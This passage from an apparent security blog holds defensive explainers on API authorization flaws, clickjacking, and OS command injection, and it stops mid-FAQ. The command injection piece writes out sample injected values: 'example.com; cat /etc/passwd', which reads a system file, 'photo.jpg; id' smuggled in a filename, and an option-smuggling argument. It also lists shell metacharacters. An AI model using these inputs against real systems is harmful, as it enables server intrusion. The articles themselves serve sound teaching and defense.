out Broken Object Property Level Authorization to name the two directions of the same trust mistake: reading fields you should not see (the old excessive data exposure) and writing fields you should not set (mass assignment). It also sharpened the resource-consumption entry to cover both cost and rate. The lesson to carry from the history is that the dominant API risks are about who may touch what, and they have stayed that way as the technology underneath shifted from REST to GraphQL to gRPC. ## Where API keys and tokens fit A related class of abuse targets the credential itself rather than the authorization logic behind it. An API key checked into a public repository, embedded in a mobile app binary, or leaked in a client-side bundle gives an attacker a valid caller identity, and from there every authorization gap in the API is theirs to exploit at the privilege level of that key. The defensive habits are separate from the ones above and reinforce them: scope each key to the least it needs, rotate keys on a schedule and immediately on suspected exposure, and never ship a high-privilege key to a client the user controls. A key that can only read one tenant's public data is a far smaller prize than a key that can call every endpoint. When a leaked key meets a BFLA gap, an outsider gains an admin action they were never issued, which is why credential hygiene and authorization discipline have to travel together. Bearer tokens carry the same lesson. A token that never expires, or one accepted by services it was never issued for, widens the window an attacker has after any single leak. Short lifetimes, audience restrictions that name the intended service, and revocation you have actually tested keep a stolen token from becoming a standing key to the whole surface. ## Common misconceptions **A private or undocumented endpoint is safe.** Obscurity is not access control. If the route answers, an attacker who finds it, from front-end code, a mobile app, an error message, or a schema, can call it. Treat every reachable endpoint as public. **HTTPS protects the data.** Transport encryption stops an eavesdropper on the network. It does nothing about a caller who is authenticated and simply asks for an object they should not receive. Authorization is a separate layer from transport. **Random identifiers fix BOLA.** They raise the cost of blind enumeration and authorize nothing. An identifier that leaks is as usable as one that was guessed. **The gateway handles authorization.** An API gateway can enforce authentication and coarse policy, and it rarely knows whether this caller owns this specific object. Object-level and field-level authorization belong in the service that has the ownership data. ## Frequently asked questions **What is the difference between BOLA and IDOR?** They are the same underlying flaw seen from two angles. IDOR is the classic web term for a request reaching an object by a direct reference without an ownership check. BOLA is the API-specific name OWASP uses for it. If you understand one, you understand the other, and the fix is identical: verify on every request that the authenticated user may access the specific object named. **Why is authorization harder to get right than authentication?** Authentication is a single question answered once per request: who is this caller. Libraries and identity providers solve it well. Authorization is a question asked at every object and every action, and the answer depends on application data the framework does not know: who owns this record, what role this action requires, which fields this role may set. That per-object, per-field logic lives in your code, so it is where the gaps appear. **Can automated scanners find BOLA and BFLA?** Partly. Tools can flag missing authentication and some obvious pattern breaks, and object-level and function-level authorization depend on knowing who should own what, which a scanner cannot infer. The reliable method is testing with two accounts: take an object or action that belongs to user A and attempt it as user B. That check finds the flaw a scanner walks past. **Does rate limiting stop API abuse?** It stops the abuse that needs no authorization gap, such as credential stuffing and scraping, and it slows enumeration of a gap that does exist. It does not authorize anything, so a single BOLA still leaks the object it reaches even behind a strict limit. Rate limiting contains blast radius and buys time; the authorization check is what closes the hole. **How does mass assignment relate to these?** Mass assignment is the write side of property-level authorization: the API binds request fields onto an object and lets a caller set fields they should not, such as a role or a balance. Excessive data exposure is the read side of the same category. Both come from trusting the shape of the request or the record instead of naming exactly which fields each direction may carry. See [Mass Assignment Explained](/mass-assignment-explained). **What should I test first on a new API?** Take one object you own and try to reach it as a different user (BOLA), then try one privileged action as an ordinary user (BFLA), then read a raw response and look for fields the UI never shows (excessive exposure). Those three checks cover the top of the OWASP API list and find most of the serious findings quickly. API abuse is mostly one bug wearing different clothes: the server knows who is calling and forgets to check what they may touch. Close that gap object by object and function by function, return only the data each caller needs, and rate limit the rest. Those controls turn an API from an open filing cabinet into one that only ever hands each user their own drawer. ## Related guides - [IDOR Explained](/idor-explained) - [Mass Assignment Explained](/mass-assignment-explained) - [API Security Guide](/api-security-guide) - [Rate Limiting Explained](/rate-limiting-explained) ### Sources - OWASP API Security Top 10 (OWASP): https://owasp.org/API-Security/editions/2023/en/0x11-t10/ - PortSwigger Web Security Academy: API testing (PortSwigger): https://portswigger.net/web-security/api-testing - MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/ --- ## Clickjacking Explained: UI Redress Attacks & Frame Defenses > How clickjacking hijacks a user's clicks with transparent iframes, what an attacker can trigger, and how to block framing with headers and CSP. - URL: https://blog.pwnsy.com/clickjacking-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: clickjacking, web-security, owasp, csp, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Clickjacking loads a real site inside a transparent frame over an attacker-controlled page, so the victim's clicks land on hidden buttons they cannot see. - The user believes they are clicking a harmless element while actually confirming a transfer, changing a setting, or granting a permission on the framed site. - It works because a click is a click: the browser cannot tell an intended interaction from a tricked one, and the framed site sees a normal authenticated request. - The reliable defense is to forbid framing of sensitive pages using CSP frame-ancestors, backed by X-Frame-Options for older clients. ### Key Takeaways - Clickjacking is a UI redress attack: the attack surface is the visual layer, not a parsing bug in the server. - Transparent or low-opacity iframes, precise positioning, and lures like fake buttons or games are the standard building blocks. - Variants extend the idea to keystrokes (strokejacking) and to dragging content (drag-and-drop attacks). - CSP frame-ancestors is the modern control and supersedes X-Frame-Options, which cannot express an allowlist of multiple origins. - Framebusting JavaScript alone is unreliable and can be defeated, so it belongs behind header-based controls, not in front of them. Most web attacks target the server: a parser that trusts the wrong input, a query built from a string. Clickjacking targets the person. It exploits the fact that a user decides what to click based on what they can see, and the browser has no way to know that what they saw was a lie. By stacking a real, sensitive page underneath a decoy the victim believes they are using, an attacker collects genuine clicks and points them at buttons the victim would never press on purpose. The technique is old and the mechanics are simple, which is exactly why it keeps working on applications that never got around to setting a single response header. ## The core idea A clickjacking page loads the target site inside an `iframe` and makes that frame invisible, usually by setting its opacity close to zero. On top, or rather underneath, the attacker builds a lure: a page that says "Click here to claim your prize" or a small game where the user has to click a button in a specific spot. The frame is positioned so that the target's sensitive control (a "Confirm" button, a "Delete account" link, a permission dialog) sits exactly where the lure invites the user to click. The victim sees the decoy. Their cursor is over the decoy. But because the invisible frame is layered on top and receives the pointer events, the click actually lands on the framed site. The framed site is loaded in the victim's own browser with the victim's own session, so the request that follows is fully authenticated and completely normal from the server's perspective. Nothing was forged. The user really did click. ## What an attacker can trigger Clickjacking is only as powerful as the actions a single click can complete on the target site. The higher the value of one-click actions, the worse it gets: - Confirming a funds transfer or a purchase that was pre-filled - Changing an account setting such as an email address or recovery option - Granting an OAuth authorization or a device permission - Enabling a feature, following an account, or posting content - Toggling a security control to a weaker state Any workflow that turns a meaningful state change into one confirmation click is a candidate. Multi-step flows can be attacked too, by chaining several framed clicks across a sequence of decoys. From the server's point of view, a clickjacked action is indistinguishable from a real one. Same session cookie, same origin behavior, same everything. This is why server-side input validation does nothing to stop it. The defense has to prevent the page from being framed in the first place, which is a decision the response itself must declare. ## Variants worth knowing The core pattern extends beyond single clicks: - **Strokejacking.** Instead of a click, the attacker captures keystrokes and directs them into a hidden framed input, for example steering typed characters into a field on the target site. - **Drag-and-drop attacks.** The user is induced to drag an object across the screen, and the drag path moves data into or out of the hidden frame, which can extract or inject content. - **Likejacking.** A historical, narrow form aimed at social widgets, where the hijacked click is a "like" or follow action. The label stuck as a reminder that even low-value clicks are worth stealing at scale. The common thread is that the victim's genuine input is redirected to a target they cannot see. ## Why framebusting scripts are not enough Before headers existed, sites tried to defend themselves with JavaScript that checked whether the page was the top-level window and, if not, tried to break out of the frame or blank the content. This "framebusting" approach has a long history of bypasses. Attackers used sandboxed iframes to neutralize the script, raced the navigation, or abused browser quirks to stop the bust from running. Framebusting can still be a small extra layer, but it must never be the only control, because it runs inside the very context the attacker controls the loading of. ## Header-based defense The durable fix moves the decision out of page script and into the HTTP response, where the browser enforces it before rendering. Two mechanisms exist. | Control | What it does | Notes | |---|---|---| | `Content-Security-Policy: frame-ancestors` | Declares exactly which origins may frame the page | Current standard; supports an allowlist and `'none'` | | `X-Frame-Options` | Legacy header allowing `DENY` or `SAMEORIGIN` | Cannot express multiple allowed origins; kept for old clients | The modern control is the CSP `frame-ancestors` directive. To forbid all framing of a sensitive page, send: ``` Content-Security-Policy: frame-ancestors 'none' ``` To allow only your own origin to frame it: ``` Content-Security-Policy: frame-ancestors 'self' ``` To allow a specific partner in addition to your own site, list the origins explicitly. This allowlist ability is why `frame-ancestors` supersedes `X-Frame-Options`, which only understood "deny everyone" or "same origin only" and could not name a third party. `X-Frame-Options` still has value for older browsers that predate CSP framing support, so many sites send both. Where they conflict, treat `frame-ancestors` as the authoritative one and keep `X-Frame-Options` as a compatibility fallback. Unless a page is specifically designed to be embedded (a widget, an intentional partner integration), it should refuse to be framed. Set `frame-ancestors 'none'` as the baseline for application pages, then relax it only for the specific routes and origins that genuinely need embedding. Deny by default keeps you from forgetting to protect the one sensitive page that mattered. ## How to defend against clickjacking 1. **Send frame-ancestors on every sensitive page.** Use `'none'` for anything that should never be embedded and an explicit origin allowlist for the rare page that should. Make it part of your default response headers so new routes inherit it. 2. **Keep X-Frame-Options as a fallback.** Send `DENY` or `SAMEORIGIN` alongside CSP for clients that do not honor `frame-ancestors`. 3. **Require re-authentication or a second step for high-value actions.** A click alone should not move money or change security settings. A password prompt, a typed confirmation, or a step that cannot be pre-positioned defeats a single stolen click. 4. **Set cookies with SameSite where appropriate.** This does not stop framing on its own, but it limits how framed and cross-site requests carry session context. 5. **Test the headers, do not assume them.** Verify with the browser developer tools or a header scanner that the response actually carries the directive on the routes that matter, including error pages and authenticated views. Clickjacking never touches your server logic, so no amount of backend hardening removes it. It lives entirely in whether the browser will let your page be layered under someone else's. Attackers fold UI redress into wider campaigns alongside phishing and session theft, and our Exploit Intelligence dashboard tracks how these techniques show up in active exploitation. Declare that your page cannot be framed, protect the response headers across every sensitive route, and gate one-click state changes behind a step an attacker cannot pre-align, and the attack loses its foundation. ## A worked example, layer by layer Walking through the construction of an attack makes the mechanics concrete. Suppose a target application has a page at a settings route with a single button labeled "Delete my account", and clicking it performs the deletion in one step for a logged-in user. That one-click destructive action is the ingredient an attacker looks for. The attacker builds a page of their own and hosts it somewhere the victim might visit, perhaps promoted through a link in a message or an ad. On that page they place an `iframe` whose source is the target's settings route. They style the frame with a very low opacity, close to zero, so the victim cannot see it, and they set its dimensions and position so the hidden "Delete my account" button lands over a spot on the visible decoy. The decoy is the persuasion layer. It might be a headline that says "You have won. Click the green button to claim", with a large, inviting button positioned exactly where the hidden delete control sits underneath. The attacker adjusts the frame's coordinates until the alignment is pixel-accurate. Because the frame sits on top in the stacking order and is transparent, the victim sees the decoy button but the pointer events pass to the framed control. The victim clicks. Their browser is logged into the target with a valid session cookie, so the delete request goes out fully authenticated. The server sees a normal, authorized request from a real session and completes the deletion. Nothing was forged, no credential was stolen, and the server has no way to know the click was tricked. The only place this could have been stopped is in the browser, before it agreed to render the target inside the attacker's frame. The same construction generalizes. Swap the delete button for a "Confirm transfer" control, an "Authorize" button on a consent screen, or a toggle that weakens a security setting, and the attack transfers directly. The value of the attack scales with the value of whatever a single authenticated click can accomplish on the target. A more elaborate version chains several framed clicks. The attacker builds a decoy that asks the victim to click in a sequence of spots, framed as a game or a step-by-step reward, and aligns each spot over a control in a multi-step flow on the target. Each click advances the target's workflow while the victim believes they are progressing through the decoy. This is how attackers reach actions that are not single-click, at the cost of a more fragile alignment that has to survive each step of the target's interface. ## Detection signals Clickjacking is prevented at the response layer, but there are indicators worth watching to know whether pages are exposed or whether framing is being attempted. - **Sensitive routes without framing headers.** The clearest signal is a page that performs state changes and returns neither a `Content-Security-Policy: frame-ancestors` directive nor `X-Frame-Options`. A header scan across authenticated routes surfaces the gaps. - **Referer or origin anomalies on sensitive actions.** Requests for high-value actions arriving with a Referer or Origin that is an unfamiliar external site can indicate that the page was framed elsewhere, though these headers are not always present and should not be relied on as a sole control. - **Framing reports from a report-only policy.** Deploying a Content Security Policy in report-only mode can surface attempts to embed pages where they should not be, giving visibility before enforcement. - **User reports of unexpected state changes.** Accounts that report settings changing or actions occurring that the user does not remember performing can point to UI redress, especially when the actions are one-click and the user recalls visiting an unrelated page. - **Unexpected embedding in third-party pages.** Monitoring for your sensitive pages being loaded in frames on domains you do not control, where such telemetry is available, is a direct sign of an attempt. The honest position is that clickjacking generates weak runtime signals, because a successful attack looks like a legitimate action. This is exactly why the emphasis falls on prevention through headers rather than detection after the fact. ## Clickjacking against related web attacks Clickjacking is often confused with attacks that share its cross-site character. The distinctions matter, because the defenses differ. | Attack | What is abused | Where it operates | Primary defense | |---|---|---|---| | Clickjacking | The visual layer and genuine clicks | The browser rendering layer | frame-ancestors, X-Frame-Options | | CSRF | Implicit sending of session cookies | The request layer | Anti-CSRF tokens, SameSite cookies | | XSS | Injected script running in the page | The page's own origin | Output encoding, CSP script controls | | Open redirect | Trust in a redirect target | The navigation layer | Allowlist redirect destinations | | Tabnabbing | A backgrounded tab rewriting itself | Cross-window references | `rel="noopener"` on external links | The pairing that causes the most confusion is clickjacking and CSRF. Both cause an authenticated action the user did not intend. The difference is the mechanism: CSRF forges a request that the browser sends automatically with its cookies, and it is defeated by requiring an unguessable token or a SameSite cookie policy. Clickjacking makes the user genuinely perform the click, so anti-CSRF tokens do not help, because the token is present in the framed page and travels with the real click. Only preventing the framing, or requiring an extra deliberate step, stops it. It is tempting to assume that setting cookies to SameSite closes clickjacking, since it limits cross-site request behavior. It does not. In a clickjacking attack the request originates from the framed target's own origin as a top-level authenticated interaction, so a SameSite cookie is often still sent. SameSite is a valuable control against CSRF and reduces cross-site session exposure, but the control that actually stops framing is frame-ancestors. ## Common mistakes Several recurring errors leave applications exposed even when the team believes clickjacking is handled. **Relying on framebusting script alone.** JavaScript that tries to break out of a frame runs inside the context the attacker controls the loading of, and it has a long history of bypasses through sandboxed frames and navigation races. It can be a minor extra layer, but it must sit behind header-based controls, never in place of them. **Setting the header on the login page only.** Protection has to cover every route that performs a sensitive action, including authenticated pages deep in the application, confirmation dialogs, and even error pages that expose controls. Attackers target the specific one-click action, so a single unprotected sensitive route undoes the effort. **Using X-Frame-Options with an origin value.** The `ALLOW-FROM` form of X-Frame-Options was inconsistently supported and is effectively obsolete. It cannot express multiple origins reliably. Where an allowlist is needed, use CSP frame-ancestors, which was designed for exactly that. **Forgetting to test the deployed response.** Headers set in code or configuration can be stripped or overridden by a proxy, a CDN, or a framework default. The only reliable check is inspecting the actual response the browser receives on the routes that matter, not assuming the configuration took effect. **Treating framing as always malicious.** Some pages are meant to be embedded, such as documented widgets or partner integrations. The goal is deny by default with a precise allowlist for the routes and origins that genuinely need embedding, so protection does not break legitimate use and legitimate use does not force blanket permissiveness. ## How the defenses evolved Early web applications had no dedicated control against framing, and the first countermeasures were framebusting scripts written in JavaScript. Attackers steadily defeated them, which drove browsers and standards bodies to move the decision into the HTTP response where page script could not interfere. The `X-Frame-Options` header emerged as the first response-level control, offering `DENY` and `SAMEORIGIN`. It solved the common cases but could not express an allowlist of several trusted origins, and its `ALLOW-FROM` extension was poorly and inconsistently implemented. Content Security Policy then introduced the `frame-ancestors` directive, which expresses `'none'`, `'self'`, and an explicit list of permitted origins in a standardized way. That directive is now the authoritative control, with X-Frame-Options kept as a fallback for older clients. The trajectory has been consistent: move enforcement out of the page and into the browser, and give defenders precise control over exactly who may embed a page. ## Tapjacking, the mobile relative The same idea appears on touchscreens under the name tapjacking. On mobile, an application or an overlay draws a decoy on top of a sensitive control, and the user's tap passes through to the element beneath. The classic setting is a malicious app that draws a transparent or misleading overlay over a system permission prompt, so a tap the user believes grants something harmless actually grants a dangerous permission. The mechanics mirror browser clickjacking: a visual layer the user trusts sits over an action the user cannot see, and the genuine tap is redirected. The defenses differ in form but share the principle. Mobile platforms provide ways for a sensitive view to refuse taps when it is obscured by another window, and they increasingly restrict which apps may draw overlays over others. Application developers building sensitive flows should opt into those obscured-touch protections so a tap on a critical control is rejected when something is drawn on top of it. The lesson carries across form factors: when the visual layer can be controlled by an attacker, the safe default is to refuse input that arrives through an obstruction. ## Frequently asked questions **Is clickjacking still relevant now that browsers are more capable?** Yes. The attack does not depend on a browser flaw, it depends on an application failing to declare that its pages cannot be framed. Any sensitive page that ships without frame-ancestors or X-Frame-Options is exposed regardless of how modern the browser is, and plenty of applications still omit those headers on interior routes. **Does HTTPS protect against clickjacking?** No. HTTPS protects the confidentiality and integrity of data in transit, but it says nothing about whether a page may be embedded in a frame. A page served over HTTPS is just as framable as one served over HTTP unless it sends the appropriate framing headers. **Can I stop clickjacking purely with JavaScript?** Not reliably. Framebusting script runs in a context the attacker influences and has a long record of bypasses. Use header-based controls as the real defense and treat any script-based measure as a small supplementary layer at most. **What is the single most important control?** Sending `Content-Security-Policy: frame-ancestors 'none'` on every page that should never be embedded, and an explicit origin allowlist on the rare pages that should. Make it a default response header so new routes inherit it automatically rather than depending on someone remembering per page. **Does clickjacking let an attacker steal my data directly?** Usually not directly. Its power is causing an authenticated action, so its impact is whatever a single click can accomplish on the target, such as confirming a change or granting a permission. Related variants like drag-and-drop attacks can move data, but the classic form is about triggering an action rather than reading content. **Why not require confirmation on every single action?** Requiring a deliberate second step, such as re-entering a password or typing a confirmation phrase, is an excellent defense for high-value actions, and it defeats a single stolen click. Applying it to every action would harm usability, so the practical approach is to gate the genuinely sensitive, irreversible actions and rely on frame-ancestors to protect the rest. **How do I verify my headers are actually set?** Load the page and inspect the response headers in the browser developer tools, or use a command-line request or a header-scanning tool. Check the specific authenticated and sensitive routes, going well beyond the home page, and confirm the directive survives any proxy or CDN in front of the application. **Should I still send X-Frame-Options if I have frame-ancestors?** Sending both is a reasonable belt-and-suspenders choice. Modern browsers honor frame-ancestors and treat it as authoritative, but some older clients understand only X-Frame-Options. Send `DENY` or `SAMEORIGIN` alongside the CSP directive so legacy clients are covered, and keep frame-ancestors as the control that expresses any allowlist you need. ## Related guides - [HTTP Security Headers Reference](/http-security-headers-reference) - [Content Security Policy Explained](/content-security-policy-explained) - [CSRF Explained](/csrf-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: Clickjacking (OWASP): https://owasp.org/www-community/attacks/Clickjacking - PortSwigger Web Security Academy: Clickjacking (PortSwigger): https://portswigger.net/web-security/clickjacking - MITRE CWE-1021: Improper Restriction of Rendered UI Layers or Frames (MITRE): https://cwe.mitre.org/data/definitions/1021.html --- ## Command Injection: Shell Metacharacters & Safe APIs > How OS command injection breaks out of an intended command via shell metacharacters, and why argument-array APIs beat string concatenation. - URL: https://blog.pwnsy.com/command-injection-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: command-injection, web-security, owasp, rce, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - OS command injection happens when user input is placed into a command run by a system shell, letting an attacker add their own commands to the one the application intended. - The root cause is passing a built-up string to a shell, which interprets metacharacters like semicolons, pipes, and backticks as instructions rather than data. - The fix is to avoid the shell: call programs directly with an argument array so the input can never be reinterpreted as a new command. - Blind command injection returns no output, but it is still exploitable through time delays and out-of-band network callbacks. ### Key Takeaways - Shell execution and direct execution are different: the shell parses metacharacters, direct argument-array execution does not, which is why the safe API choice ends the vulnerability. - Metacharacters like ; && || | ` $() and newlines are the breakout tools, because the shell treats them as command separators or substitutions. - Allowlisting acceptable input values is far safer than trying to blocklist dangerous characters, which attackers evade with encoding and alternate syntax. - Blind command injection is detectable via injected sleep commands (timing) and out-of-band DNS or HTTP callbacks even when no output is shown. - Command injection frequently leads directly to full server compromise, so it ranks among the highest-severity web flaws when present. Some applications need to run an operating-system command: ping a host, convert an image, look up a DNS record, generate a PDF with an external tool. If any part of that command is built from user input and handed to a system shell, the application has almost certainly opened a door to running attacker-chosen commands on the server. That is OS command injection, and when it is present, it usually means full server compromise. The bug is a cousin of SQL injection. Both come from mixing untrusted data into a language the machine will interpret, and both are solved the same way in principle: keep the data and the instructions in separate lanes so the data can never become an instruction. With commands, the interpreter is the shell, and the separation is achieved by not invoking a shell at all. ## The core mechanism Say an application lets a user check whether a host is reachable, and it implements that by running the system `ping` command with the hostname the user typed. If the code builds a command string and passes it to a shell, it might look like this conceptually: ``` ping -c 1 ``` Supply a normal hostname and it works. Supply this instead: ``` example.com; cat /etc/passwd ``` and the shell sees two commands separated by a semicolon. It runs the ping, then runs `cat /etc/passwd`. The application asked for one command. The shell, doing exactly what shells do, ran two. The attacker's command executes with the privileges of the application process. The reason this works is that the shell is a language interpreter. When you hand it a string, it parses that string for structure: separators, pipes, substitutions, redirections. It cannot tell that the hostname was supposed to be inert data. To the shell it is all one program to parse and run. It is worth being precise about where the trust boundary sits. The application code is not the interpreter. The application builds a string and hands it off, and the interpretation happens in the shell, one layer down, where the developer's intent is invisible. That gap is the entire vulnerability. The shell has no concept of "this part was a hostname the user typed and that part was my command template." It sees one line of shell script and executes it faithfully. Any mental model that treats the input as data right up until the shell receives it is misleading, because the moment the shell parses the line, the input has become code. ## The metacharacters that break out The attacker's toolkit is the set of characters the shell treats as syntax rather than text: | Character | Effect in a shell | |---|---| | `;` | Ends one command, starts the next | | `&&` / `\|\|` | Run next command on success / on failure | | `\|` | Pipe output of one command into another | | `` ` `` or `$( )` | Command substitution: run this and insert its output | | `&` | Run the command in the background | | newline | Acts as a command separator | | `>` `<` | Redirect output or input to a file | Any one of these, if it reaches the shell inside user input, is a potential breakout. This is also why character blocklists are a losing game: the list is long, shells differ, and encoding or alternate syntax routinely slips past filters. ## Argument execution versus shell execution The single most important distinction in this whole topic is how the command gets launched. There are two ways, and they behave completely differently. **Shell execution** hands a full command string to a shell to parse and run. The shell interprets metacharacters. This is the vulnerable path. Functions and patterns that spawn "a command line" or run "a shell command" fall here. **Direct (argument-array) execution** launches a named program with an explicit array of arguments and no shell in between. The operating system starts the program and passes the arguments straight to it. There is no shell to parse metacharacters, so a semicolon in an argument is just a semicolon: a literal character delivered to the program as data. The `ping` program receives `example.com; cat /etc/passwd` as a single hostname argument, fails to resolve it, and does nothing dangerous. The lesson writes itself. When you must run an external program, call it directly with a fixed program name and an argument array, and never route user input through a shell. This is the primary fix, and it is close to absolute, because it removes the interpreter the attack depends on. Switching to an argument-array API only helps if no shell sneaks back in. Some execution functions run a shell when you pass a single string but skip it when you pass an array; some invoke a shell whenever a certain flag is set. Passing a shell path as the program, or setting a shell option, reintroduces the exact vulnerability you were trying to remove. Confirm that your chosen API does not spawn a shell, and never build the argument list by concatenating user input into one string. ## Blind command injection As with other injection classes, the output is not always returned. In blind command injection the server runs your command but shows you nothing. It is still exploitable through side channels. - **Time-based detection.** Inject a command that sleeps for a fixed number of seconds. If the response takes that much longer, the injection is real. This confirms execution with no output at all. - **Out-of-band callbacks.** Inject a command that makes the server perform a DNS lookup or HTTP request to a host the attacker controls. When the callback arrives, execution is proven, and the same channel can carry stolen data out by embedding it in the hostname or path. Blind command injection is slower to weaponize and just as serious, because confirmed execution of one command means the attacker can run any command. There is also a class between visible and fully blind: the application runs your command and returns an error or a status but not the command's output. Even here, an attacker can often coax data out by redirecting a command's output into a file inside the web root and then requesting that file over HTTP, or by making the difference between success and failure depend on the answer to a yes-or-no question about the system. The recurring lesson is that the absence of visible output is not the absence of a channel. Once execution is confirmed, the attacker's problem is only ever how to read the result, and there are many ways to solve that. ## How to defend against command injection The controls are ordered by strength. The first one is the real fix; the rest reduce risk when the first cannot fully apply. 1. **Do not call the shell.** Where you must run an external program, use the direct argument-array API for your language, passing a fixed program name and each argument as a separate array element. This is the defense that ends the vulnerability. 2. **Better still, avoid shelling out at all.** Most tasks people spawn commands for, DNS lookups, file operations, image processing, have a native library that does the job in-process with no command line involved. Prefer it. 3. **Allowlist the input, not the characters.** When input feeds a command, constrain it to a strict set of acceptable values or a tight pattern (for example, a valid hostname format), and reject everything else. Allowlisting the shape of valid input beats trying to enumerate every dangerous character. See our [input validation guide](/input-validation-guide) for how to build these checks. 4. **Run with least privilege.** The application process should have the minimum operating-system permissions it needs, so that even a successful injection lands somewhere constrained rather than as a high-privilege user. 5. **Never build commands by string concatenation.** If you find user input being glued into a command string anywhere in the codebase, treat it as a finding regardless of the filtering around it. Command injection and SQL injection are the same disease with different interpreters. Both come from mixing untrusted data into text that a machine will parse as instructions, and both are cured by keeping data out of the instruction stream: parameterized queries for SQL, argument arrays for commands. If your team already treats string-built SQL as forbidden, extend the exact same rule to string-built shell commands. Because a single confirmed command means the attacker can run anything the process can, command injection is a favorite pivot for delivering further payloads, and the delivery often arrives as a crafted file or parameter. Our Exploit Intelligence dashboard tracks which command-injection and remote-code-execution flaws are under active exploitation, so you can see which of these bugs are being used right now rather than treating every advisory identically. ## Where the input hides The obvious injection point is a form field that clearly feeds a command, such as a hostname box behind a ping tool. The dangerous ones are the inputs nobody thought of as reaching a shell. Command injection follows the data, so the vulnerability can sit far from where the value entered the system. - **Filenames and upload metadata.** An uploaded file's name, or a field inside its metadata, may be passed to an external tool for conversion or inspection. A filename like `photo.jpg; id` reaches a shell if the processing step builds a command string around it. - **HTTP headers.** A `User-Agent`, `Referer`, or `X-Forwarded-For` value that gets logged and then fed to a shell command for analysis is attacker-controlled text arriving through a channel the developer rarely treats as input. - **Values from a database.** Input stored earlier and used later is still input. A value that was safe to store becomes dangerous the moment it is concatenated into a command, which is why the trust boundary is the shell call, not the original request. - **Fields inside structured formats.** A name inside an XML or JSON document, a value pulled from a configuration file, or an entry from a directory service can all reach a shell if some downstream step shells out with them. - **Indirect parameters.** An option flag, a format string, or a file path passed to an external tool can be abused even without classic separators, by smuggling in the tool's own dangerous options. This is argument injection, a close relative covered below. The recurring lesson is that you cannot secure command execution by guarding one field. You secure it by never sending any untrusted value through a shell, wherever that value came from. ## Argument injection: the quieter cousin Switching to an argument-array API removes the shell, which stops the classic metacharacter breakout. It does not automatically stop a subtler problem: an attacker who controls one argument can sometimes abuse the target program's own options. Suppose an application runs a known program with an argument array and inserts a user-supplied value as one argument. No shell is involved, so a semicolon in that value is inert. But if the user-supplied value begins with a dash, the program may interpret it as an option rather than as data. Many command-line tools have options that read or write files, execute helpers, or change behavior in ways an attacker can exploit. Feeding such a tool an argument like `--output=/path/to/somewhere` or an option that triggers command execution turns a single controllable argument into a foothold, all without any shell metacharacter. The defenses are specific. Where a tool supports it, use the `--` separator that marks the end of options, so everything after it is treated as a positional argument rather than a flag. Validate that a value which should be a hostname, a filename, or a number actually matches that shape before it becomes an argument. And prefer passing data through mechanisms that cannot be confused with options, such as standard input or an explicit file argument you construct yourself. Argument injection is why "I used an argument array" is necessary but not the whole story when the argument value is attacker-controlled. ## How to detect command injection Finding these bugs combines reading code for the dangerous pattern with probing a running system for its side effects. - **Search the codebase for shell-invoking calls.** Grep for the functions and patterns in your language that spawn a shell or run a command line, then check whether any argument is built from input. Concatenation of a variable into a command string is the signature to hunt for. This weakness is catalogued as CWE-78, Improper Neutralization of Special Elements used in an OS Command. - **Timing probes.** Inject a value that, if it reached a shell, would run a command that sleeps for a fixed number of seconds. A response that consistently slows by that amount confirms execution even when nothing is returned. Vary the delay to rule out coincidence. - **Out-of-band callbacks.** Inject a value that would make the server perform a DNS lookup or HTTP request to a host you control. An arriving callback proves execution, and the hostname or path can carry small pieces of data out. This works precisely when the response body shows nothing. - **Differential responses.** Where output is hidden but an error or status leaks, make the success or failure of the request depend on the answer to a yes-or-no question about the system, then read the answer from the difference in responses. - **Output redirected into the web root.** In a visible-filesystem setup, an attacker can redirect a command's output into a file under the web root and then request that file over HTTP. Seeing such a request pattern in logs, a write into a served directory followed by a fetch, is a strong signal. The unifying idea for detection is that confirmed execution of even one harmless command, a sleep or a network callback, proves the vulnerability, because a process that will run one attacker-chosen command will run any of them. ## Command injection compared to related bugs Several vulnerability classes get grouped under "injection," and separating them clarifies both the mechanism and the fix. | Vulnerability | Interpreter abused | Primary fix | |---|---|---| | OS command injection | The system shell | Argument-array execution, no shell | | Argument injection | The target program's option parser | End-of-options `--`, shape validation | | SQL injection | The database query planner | Parameterized queries | | Code injection | A language interpreter, via eval-like calls | Never evaluate untrusted input as code | | Server-side template injection | A template engine | Keep user input out of template source | The pattern across the whole table is one disease with different interpreters. Each bug comes from untrusted data reaching a component that parses text as instructions, and each is cured by keeping the data out of the instruction stream for that specific interpreter. If your team already forbids string-built SQL, the same reasoning extends directly to string-built shell commands, template source, and code passed to an evaluator. ## Common mistakes **Blocklisting characters instead of allowlisting input.** Enumerating dangerous characters is a losing game: the list is long, shells differ, and encoding or alternate syntax routinely slips past. Constrain input to a strict shape of what is valid and reject everything else. **Assuming an argument array is automatically safe.** It removes the shell, which is the main fix, and it does not stop argument injection when the attacker-controlled value can pose as an option. Add the end-of-options marker and validate the value's shape. **Escaping instead of separating.** Trying to escape metacharacters so a string is safe to hand to a shell is fragile and easy to get wrong across shells and locales. Removing the shell entirely is both simpler and more reliable than escaping for it. **Trusting stored or second-hand input.** A value that was safe to store is still untrusted when it is later concatenated into a command. The trust boundary is the shell call, wherever the value came from. **Treating hidden output as safety.** No visible output does not mean no channel. Timing, out-of-band callbacks, and redirected files all exfiltrate results from blind injection. The absence of output is not the absence of exploitation. ## Frequently asked questions **What is OS command injection in one sentence?** It is a vulnerability where user input is placed into a command that a system shell runs, letting an attacker append their own commands to the one the application intended and execute them with the application's privileges. **Why is calling a shell the root cause?** The shell is a language interpreter. When it receives a string it parses that string for structure, treating characters like `;`, `|`, and backticks as separators and substitutions rather than as data. The application cannot mark part of the string as inert, so once the shell parses the line the injected text has become code. Removing the shell removes the interpreter the attack depends on. **Does input validation alone fix command injection?** 